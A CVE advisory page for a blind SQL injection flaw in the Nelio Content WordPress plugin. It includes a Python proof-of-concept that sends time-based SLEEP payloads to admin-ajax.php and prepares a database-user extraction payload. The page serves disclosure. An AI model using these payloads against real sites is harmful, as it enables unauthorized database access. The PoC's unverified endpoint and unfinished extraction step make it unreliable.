CVE-2026-24572

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Nelio Software Nelio Content nelio-content allows Blind SQL Injection.This issue affects Nelio Content: from n/a through <= 4.2.0.

CVSS Details

CVSS Score

8.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Nelio Content <= 4.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

target = "http://target-wordpress-site.com"
# Blind SQL Injection PoC for CVE-2026-24572
# This PoC demonstrates time-based blind SQL injection

def test_sqli(payload):
    """Test SQL injection with time-based blind technique"""
    # Nelio Content plugin endpoint vulnerable parameter
    endpoint = f"{target}/wp-admin/admin-ajax.php"
    params = {
        'action': 'nelio_content_analytics_event',
        'event_type': payload,
        'post_id': '1'
    }
    start_time = time.time()
    response = requests.post(endpoint, data=params, timeout=30)
    elapsed = time.time() - start_time
    return elapsed > 25  # If response takes >25 seconds, injection successful

# Example payload for database version extraction
payload = "test' AND (SELECT * FROM (SELECT SLEEP(25))a) AND '1'='1"

if test_sqli(payload):
    print("[+] SQL Injection confirmed - database is vulnerable")
    # Extract database user
    user_payload = "test' AND (SELECT * FROM (SELECT SLEEP(25) WHERE (SELECT user FROM dual)='wp_user')a) AND '1'='1"
    print("[+] Database user extraction payload prepared")
else:
    print("[-] Injection test failed or target not vulnerable")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24572
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24572
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24572/
[4] VulDB https://vuldb.com/cve/CVE-2026-24572
[5] https://patchstack.com/database/Wordpress/Plugin/nelio-content/vulnerability/wordpress-nelio-content-plugin-4-1-0-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

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